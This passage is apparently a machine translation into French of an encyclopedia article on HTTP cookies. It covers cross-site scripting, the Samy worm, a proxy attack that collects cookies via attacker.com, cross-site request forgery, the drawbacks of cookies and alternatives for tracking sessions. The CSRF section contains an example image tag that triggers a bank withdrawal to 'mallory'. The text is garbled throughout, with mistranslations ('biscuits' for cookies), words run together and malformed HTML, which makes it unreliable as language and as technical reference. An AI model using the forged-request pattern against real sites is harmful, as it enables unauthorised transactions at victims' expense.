Si un attaquant est capable d'insérer un morceau de script à une page sur www.example.com , et le navigateur de la victime était en mesure d'exécuter le script, le script pourrait tout simplement mener l'attaque. Cette attaque serait d'utiliser le navigateur de la victime pour envoyer des requêtes HTTP aux serveurs directement; par conséquent, le navigateur de la victime soumettrait tous les cookies pertinents, y compris HTTPOnly cookies, ainsi que sécurisés cookies si la demande de script est sur ​​HTTPS.

Par exemple, sur MySpace, Samy a posté un message court "Samy est mon héros" sur son profil, avec un script caché pour envoyer Samy une «demande d'ami" et ensuite poster le même message sur le profil de la victime. Un utilisateur de lire le profil de Samy Samy enverrait une «demande d'ami» et poster le même message sur le profil de cette personne. Ensuite, la troisième personne lisant le profil de la deuxième personne ferait la même chose. Très vite, ce ver Samy est devenu l'un des vers d'épandage plus rapide de tous les temps.

Ce type d'attaque (avec des scripts automatisés) ne fonctionnerait pas si un site avaitCAPTCHA pour contester les demandes des clients.

Cross-site scripting - demande proxy

Dans les anciennes versions de navigateurs, il y avait des trous de sécurité permettant attaquants pour créer un script de requête proxy en utilisant XMLHttpRequest. Par exemple, une victime est en train de lire l'annonce d'un attaquant sur www.example.com ​​, et le script de l'attaquant est exécuté dans le navigateur de la victime. Le script génère une requête pour www.example.com le serveur proxy attacker.com . Comme la demande est pour www.example.com , tous les example.com cookies seront envoyés avec la demande, mais acheminés par le serveur proxy de l'attaquant, par conséquent, l'attaquant peut récolter les cookies de la victime.

Cette attaque ne serait pas travailler poursécurisébiscuit, depuissécurisésbiscuits vont avecles connexions HTTPS, et de son protocole dicte le chiffrement de bout-en-bout, à savoir, les informations sont cryptées sur le navigateur de l'utilisateur et décryptée sur le serveur de destinationwww.example.com, de sorte que les serveurs de remplacement fait ne voient bits et d'octets cryptés.

Cross-site request forgery

Par exemple, Bob pourrait être naviguez sur un forum de discussion où un autre utilisateur, Mallory, a posté un message. Supposons que Mallory a conçu un élément d'image de HTML qui fait référence à une action sur le site de la banque de Bob (plutôt que d'un fichier image), par exemple,

<> src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory" >
 

Si la banque de Bob tient ses informations d'authentification dans un cookie, et si le cookie n'a pas expiré, la tentative par le navigateur de Bob pour charger l'image soumettra le formulaire de retrait avec son biscuit, autorisant ainsi une transaction sans l'approbation de Bob.

Inconvénients de biscuits

Outre des problèmes de confidentialité, les cookies ont aussi quelques inconvénients techniques. En particulier, ils ne précisent pas toujours avec précision les utilisateurs, ils peuvent être utilisés pour des attaques de sécurité, et ils sont souvent en contradiction avec l'Representational State Transfer ( REST) ​​logiciel style architectural.

Identification inexactes

Si plus d'un navigateur est utilisé sur un ordinateur, a chaque habituellement une zone de stockage séparée pour les cookies. Par conséquent cookies ne permettent pas d'identifier une personne, mais une combinaison d'un compte d'utilisateur, un ordinateur, et d'un navigateur Web. Ainsi, toute personne qui utilise plusieurs comptes, des ordinateurs ou navigateurs a de multiples ensembles de cookies.

De même, les cookies ne fait pas de distinction entre plusieurs utilisateurs qui partagent le mêmecompte utilisateur, l'ordinateur et navigateur.

État incohérent sur ​​le client et le serveur

L'utilisation de cookies peut générer une incohérence entre l'état du client et l'Etat comme stockée dans le cookie. Si l'utilisateur acquiert un cookie, puis clique sur le bouton "Précédent" du navigateur, l'état du navigateur est généralement pas le même que avant cette acquisition. A titre d'exemple, si le panier d'une boutique en ligne est construit en utilisant les cookies, le contenu du panier peut ne pas changer lorsque l'utilisateur revient dans l'histoire du navigateur: si l'utilisateur appuie sur un bouton pour ajouter un élément dans le panier d'achat et puis clique sur le bouton "Retour", l'élément reste dans le panier. Cela pourrait ne pas être l'intention de l'utilisateur, qui peut-être voulait annuler l'ajout de l'élément. Cela peut conduire à la confusion, manque de fiabilité, et les bugs. Les développeurs Web doivent donc être conscients de ce problème et mettre en œuvre des mesures visant à gérer de telles situations.

Soutien incompatible par des dispositifs

Le problème avec l'aide de cookies mobiles est que la plupart des appareils ne mettent pas les cookies; par exemple, Nokia prend en charge uniquement les cookies sur 60% de ses appareils, tandis que Motorola ne prend en charge les cookies sur 45% de ses téléphones. En outre, certaines passerelles et des réseaux ( Verizon, Alltel, et MetroPCS) bande biscuits, tandis que d'autres réseaux de simuler les cookies au nom de leurs appareils mobiles. Il ya aussi des variations dramatiques sur les marchés sans fil dans le monde entier; par exemple, au Royaume-Uni 94% des appareils en charge les cookies sans fil, tandis que dans les États-Unis seulement 47% en charge.

Le support pour les cookies est supérieure dans le Extrême-Orient, où les appareils sans fil sont plus communément utilisés pour accéder au web. Les cookies mobiles est une pratique déjà en place dans le Japon , de sorte que si regarder un podcast, une vidéo, TV, en cliquant sur ​​un calculateur de prêt ou une carte sur GPS presque tous les dispositifs de biscuits sans fil peuvent être définis pour le suivi et la capture des comportements sans fil.

Alternatives à biscuits

Certaines des opérations qui peuvent être faites en utilisant des cookies peut également être fait en utilisant d'autres mécanismes.

Adresse IP

Certains utilisateurs peuvent être suivis sur la base de l' adresse IP de l'ordinateur demandant la page. Le serveur connaît l'adresse IP de l'ordinateur exécutant le navigateur ou le proxy, le cas échéant est utilisé, et pourrait théoriquement relier la session d'un utilisateur à cette adresse IP.

Adresses IP sont, généralement, pas un moyen fiable pour suivre une session ou identifier un utilisateur. De nombreux ordinateurs conçus pour être utilisés par un seul utilisateur, tels que les ordinateurs de bureau ou des ordinateurs personnels, sont derrière un traducteur d'adresses réseau (NAT). Cela signifie que plusieurs ordinateurs partagent une adresse IP publique. En outre, certains systèmes, tels que Tor, sont conçus pour conserver l'anonymat de l'Internet, ce qui rend le suivi par l'adresse IP peu pratique, impossible, ou un risque de sécurité.

URL (chaîne de requête)

Une technique plus précise est basée sur l'intégration de l'information dans les URL. Le chaîne de requête partie de l'URL est celui qui est généralement utilisé à cette fin, mais d'autres parties peut être utilisé aussi bien. Le Java Servlet etmécanismes de session PHP fois utiliser cette méthode si les cookies ne sont pas activés.

Cette méthode consiste à le serveur web ajoutant des chaînes de requête pour les liens d'une page web, il est titulaire lors de l'envoi à un navigateur. Lorsque l'utilisateur suit un lien, le navigateur renvoie la chaîne de requête est connectée au serveur.

Les chaînes de requête utilisées de cette manière et les cookies sont très similaires, les deux étant des morceaux arbitraires d'information choisis par le serveur et renvoyées par le navigateur. Cependant, il ya quelques différences: depuis une chaîne de requête fait partie d'une URL, si cette URL est ensuite réutilisé, le même élément d'information ci-jointe est envoyé au serveur. Par exemple, si les préférences d'un utilisateur sont codées dans la chaîne de requête d'une URL et l'utilisateur envoie cette URL à un autre utilisateur par e-mail , ces préférences seront utilisés pour que les autres utilisateurs ainsi.

En outre, même si le même utilisateur accède à la même page deux fois, il n'y a aucune garantie que la même chaîne de requête est utilisée dans les deux vues. Par exemple, si le même utilisateur arrive à la même longueur d'onde mais provenant d'une page interne au site la première fois et à partir d'un extérieur moteur de recherche pour la deuxième fois, les chaînes relatives de requête sont typiquement différent tandis que les biscuits soient les mêmes. Pour plus de détails, voir requête chaîne.

Autres inconvénients de chaînes de requête sont liés à la sécurité: stocker des données qui identifie une session dans une chaîne de requête permet ou facilite les attaques de fixation de session, les attaques de referrer logging et autres failles de sécurité. Transfert des identifiants de session que les cookies HTTP est plus sûr.

Champs de formulaire cachés

Une autre forme de suivi de session est d'utiliser les formulaires Web avec des champs cachés. Cette technique est très similaire à l'aide de chaînes de requête URL pour contenir les informations et a beaucoup des mêmes avantages et inconvénients; et si le formulaire est géré à la méthode HTTP GET, les champs deviennent réellement partie de l'URL du navigateur envoie lors de la soumission du formulaire. Mais la plupart des formes sont traitées avec HTTP POST, ce qui provoque les informations du formulaire, y compris les champs masqués, doit être annexée comme entrée supplémentaire qui ne fait partie ni de l'URL, ni d'un cookie.

Cette approche présente deux avantages du point de vue du tracker: d'abord, avoir les informations de suivi placé dans la source HTML et entrée POST plutôt que dans l'URL signifie qu'il ne sera pas remarqué par l'utilisateur moyen; en second lieu, les informations de session ne sont pas copiées lorsque l'utilisateur copie l'URL (pour enregistrer la page sur le disque ou l'envoyer par e-mail, par exemple).

Cette méthode peut être facilement utilisé avec tout cadre qui prend en charge les formulaires Web.

window.name

Tous les navigateurs actuels peuvent stocker une assez grande quantité de données (2-32 Mo) via JavaScript en utilisant la propriété window.name DOM. Ces données peuvent être utilisés à la place des cookies de session et est également inter-domaines. La technique peut être couplée avec des objets JSON / JavaScript pour stocker des ensembles complexes de variables de session sur le côté client.

L'inconvénient est que chaque fenêtre ou séparée onglet seront d'abord avoir un vide window.name ; en temps de la navigation par onglets, cela signifie que les onglets ouverts individuellement (d'initiation par l'utilisateur) ne seront pas avoir un nom de fenêtre. En outre window.name peut être utilisé pour le suivi des visiteurs à travers différents sites, ce qui rend de préoccupation pour la vie privée sur Internet.

À certains égards, cela peut être plus sûr que les cookies raison de ne pas impliquer le serveur, il est donc pas vulnérable à réseau biscuits reniflant attaques. Toutefois, si des mesures spéciales ne sont pas prises pour protéger les données, il est vulnérable à d'autres attaques car les données sont disponibles dans les différents sites ouverts dans la même fenêtre ou onglet.

authentification HTTP

Le protocole HTTP inclut l' authentification d'accès de base et les protocoles d'authentification d'accès Digest, qui permettent d'accéder à une page web uniquement lorsque l'utilisateur a fourni le nom d'utilisateur et mot de passe correct. Si le serveur requiert ces informations d'identification pour autoriser l'accès à une page Web, le navigateur fait la demande de l'utilisateur et, une fois obtenue, les magasins de navigateur et les envoie à chaque demande de page suivante. Cette information peut être utilisée pour suivre l'utilisateur.